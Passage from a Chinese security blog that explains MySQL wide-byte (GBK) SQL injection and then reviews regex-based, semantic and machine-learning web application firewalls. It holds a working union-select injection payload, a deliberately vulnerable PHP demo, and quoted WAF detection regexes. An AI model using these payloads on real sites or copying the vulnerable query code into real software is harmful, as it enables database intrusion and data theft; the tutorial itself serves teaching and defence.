WeiyiGeek

杂而不纯,不博也不精 | 学不止步,勿忘初心

无标题

宽字节注入原理:

产生原因:由于nbb在部署MySQL时候错误在/etc/my.cnf配置,如下这样会导致编码转换从而导致注入的漏洞

character-set-cient=gbk 
#或者执行
set character_set_client=gbk

1.正常情况下当PHP的GPC开启或使用addslashes函数和iconv过滤GET或POST提交的参数时候,我们使用的单引号’就会被转义成为:\';
2.这个时候由于存在宽字节注入,我们就可以利用该漏洞我们输入%df%27时候首先经过上面提到的单引号转义变成%df%5c%27(MySQL内部变化)而%5c代表的反斜杠\是转义函数添加;
3.实际是因为在数据库查询前由于使用GBK多字节编码,即在汉字编码的范围内两个字节会被编码成为一个汉字,然后在MySQL服务器会对查询的语句进行GBK编码即%df%5c转换成汉字’運’,从而单引号逃逸了出来导致了注入漏洞;

比如:

请求1:http://127.0.0.1/test.php?title=1
SQL语句:Select * From test Where title='1'

请求1:http://127.0.0.1/test.php?title=1
SQL语句:Select * From test Where title='1'


数据库连接成功!http://127.0.0.1/Sec/gbkSqlInject.php?id=1�\' union select 1,user(),concat(user,0x7e,context) from content#;
执行的SQL语句:SELECT * FROM user WHERE id = '1運' union select 1,user(),concat(user,0x7e,context) from content#;'
admin 6590f73ecdf351c38de00befd2ecf17b
root@localhost weiyigeek~this is a demo

WeiyiGeek.

GBK编码是数据库的编码与前台的编码无关

%df 
%da
%5c = \
%27 = '

#逃出过滤
%df%5c%27
%da%5c%27

UTF-8转GBK
錦 UTF-8编码:e98ca6
GBK编码:%e5%5c

首先经过addlashes函数或者GPS单引号转变成为:錦’,然后经过iconv函数会对”錦”转换成为gbk编码即:%e5%5c%5c%27正好反斜杠%5c被转义了,从而单引号逃逸出来引发注入

<?php
/***
* 描述:MySQL宽字节注入案例
*
MariaDB [cms]>
create table user(
`id` INT(4) NOT NULL DEFAULT '1',
`user` VARCHAR(255) NOT NULL DEFAULT "NULL",
`pass` VARCHAR(255) NOT NULL DEFAULT "NULL");

create table content(
`id` INT(4) NOT NULL DEFAULT '1',
`user` VARCHAR(255) NOT NULL DEFAULT "WeiY",
`context` VARCHAR(255) NOT NULL DEFAULT "this is demo");

insert into user value (1,"admin",md5("1223456"));
MariaDB [cms]> select * from user;
+----+-------+----------------------------------+
| id | user | pass |
+----+-------+----------------------------------+
| 1 | admin | 6590f73ecdf351c38de00befd2ecf17b |
+----+-------+----------------------------------+
1 row in set (0.00 sec)

insert into content value (1,"weiyigeek");

#支持识别16进制
MariaDB [cms]> select * from user where id = 1 union select 1,user(),concat(user,0x7e,context) from content;
+----+----------------+----------------------------------+
| id | user | pass |
+----+----------------+----------------------------------+
| 1 | admin | 6590f73ecdf351c38de00befd2ecf17b |
| 1 | root@localhost | weiyigeek~this is a demo |
+----+----------------+----------------------------------+
2 rows in set (0.00 sec)
**/

$link = new mysqli('localhost', 'root','123456', 'cms');
if(!$link){
die("数据库连接失败!");
}else{
echo "数据库连接成功!";
}

$link->query("set NAMES gbk");
$id_tmp=isset($_GET['id'])?urldecode($_GET['id']):"null";
$id=iconv("gbk","utf-8",$id_tmp);
$sql="SELECT * FROM user WHERE id = '{$id}'";
echo "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".urldecode($_SERVER['QUERY_STRING']);
echo "<br>执行的SQL语句:".$sql;

foreach($link->query($sql) as $row){
echo "<br/>";
print("\n".$row['user']."\n".$row['pass']);
}
?>
阅读更多
无标题

####
正则表达式不适合构建WAF由于正则表达式计算复杂度直接影响WAF防御能力;

  • 误报率高
  • 漏报难以平衡
  • 容易绕过

正则表达式DDOS攻击:正则表达式的最坏时间复杂度大于等于𝑶(𝑛2),该正则表达式可被DDOS攻击

  • Regex DDOS与Regex DOS不同
    • 𝑶(𝑛2),𝑶(2𝑛)
    • Regex DDOS目前普遍存在
    • Regex DOS很难找到了
    WeiyiGeek.

    (1)利用正则表达式匹配的回溯之正则表达式匹配原理:NFA
    正则表达式:(a|b)*abb对应的NFA,匹配算法需要尝试每一条路径,直到找到一条匹配路径。尝试所有路径失败则匹配失败。
    • 尝试所有匹配路径
    • 路径尝试失败,需要回溯
    WeiyiGeek.正则表达式匹配原理

(2)利用正则表达式匹配的回溯之可被DDOS的一种正则表达式模式

𝑷𝒂𝒕𝒕𝒆𝒓𝒏 = (𝑺𝒖𝒃𝑨)(𝑺𝒖𝒃𝑩)∗(SubC),其中𝑺𝒖𝒃𝑨 ∈ 𝑺𝒖𝒃

影响范围:

#owasp-modsecurity-crs
(?i:(?:(union(.*?)select(.*?)from)))
(?i:<META[\s/+].*?charset[\s/+]*=)

#wordpress-4.7.1
class-wp-text-diff-renderertable.php: Line 266:
(<ins>.*?</ins>|<del>.*?</del>)

#Discuz_X3.3_SC_UTF8
admincp_announce.php
• Line 136: '/<b>(.*?)<\/b>/i',
•Line 139: '/<i>(.*?)<\/i>/i',
•Line 142: '/<u>(.*?)<\/u>/i',

#某云WAF/360_safe3.php
360_safe3.php某云WAF: union\s+select.*from
• \/\*.+?\*\/
• <\s*script\b
• UNION.+?SELECT

维护几十条到几百条正则表达式规则,保证拦截率,误报率前提下,所有规则最坏时间复杂度小于𝑶(𝒏𝟐)是一件很难事情,正则表达式不适合用于构建WAF;
WeiyiGeek.

所以我们需要通过基于语义监测的WAF进行更好的管控和减少误报;
比如:文本:What’s problem about ‘Select id,name from’, give me a hand。

  • 正则:select.*from :正则只关注‘Select id,namefrom’, 忽略了上下文的信息。在做注入判断时,对输入进行片面的理解,导致误报
  • Improved : 整个输入作为一个整体,尝试理解意图。How?

基于语义检测的WAF(抽象攻击语义):

  • 输入是否有效代码
  • 执行了什么动作
  • 动作是否有危害

基于语义检测的WAF—实现:

  • 用户输入->词法分析->语法分析->攻击语义检测->攻击语义抽象

基于语义检测的WAF—优缺点

  • 优点: 运营成本低,高准确率,低漏报
  • 缺点: 应急响应慢,语义抽象依赖人,开发成本很高算法优化;

基于统计的机器学习WAF—异常模型
思路: 1.正常的请求总是相似;2.异常却各有各的不同
优点:识别未知的攻击、及攻击变形
面临问题: 准确率 应用变更
WeiyiGeek.

基于统计的机器学习WAF—异常模型&威胁模型
思路:在异常数据的基础上,注入一些领域知识,从而构成一个分类器,从异常中剥离出攻击
优点:准确率相对单独异常模型,提升了许多。
问题:模型滞后性:领域知识注入导致。修复响应:出现漏报,在线上如何修复。
WeiyiGeek.

基于统计的机器学习WAF(个人总结)
线上化困难:•准确率 •应用变更
WAF运营手段:•WAF安全水位 •WAF瓶颈 •payload的变化

基于深度学习构建WAF
思路:用深度学习的模型代替语义检测中的词法分析、语法分析。

44   攻击语义的深度学习网络
用户输入 -> 深度学习的攻击语义检测模型

攻击语义的深度学习网络? 为什么深度学习、RNN:
• 深度学习可通过学习一种深层非线性网络结构,实现攻击语义的逼近。
• RNN能够使信息持续保存,根据已有知识进行思考,更容易学习到攻击语义
WeiyiGeek.

Bypass WAF

Web 360WebScan

if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){
4require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php');
}

阅读更多
首页 归档 分类 标签 关于 搜索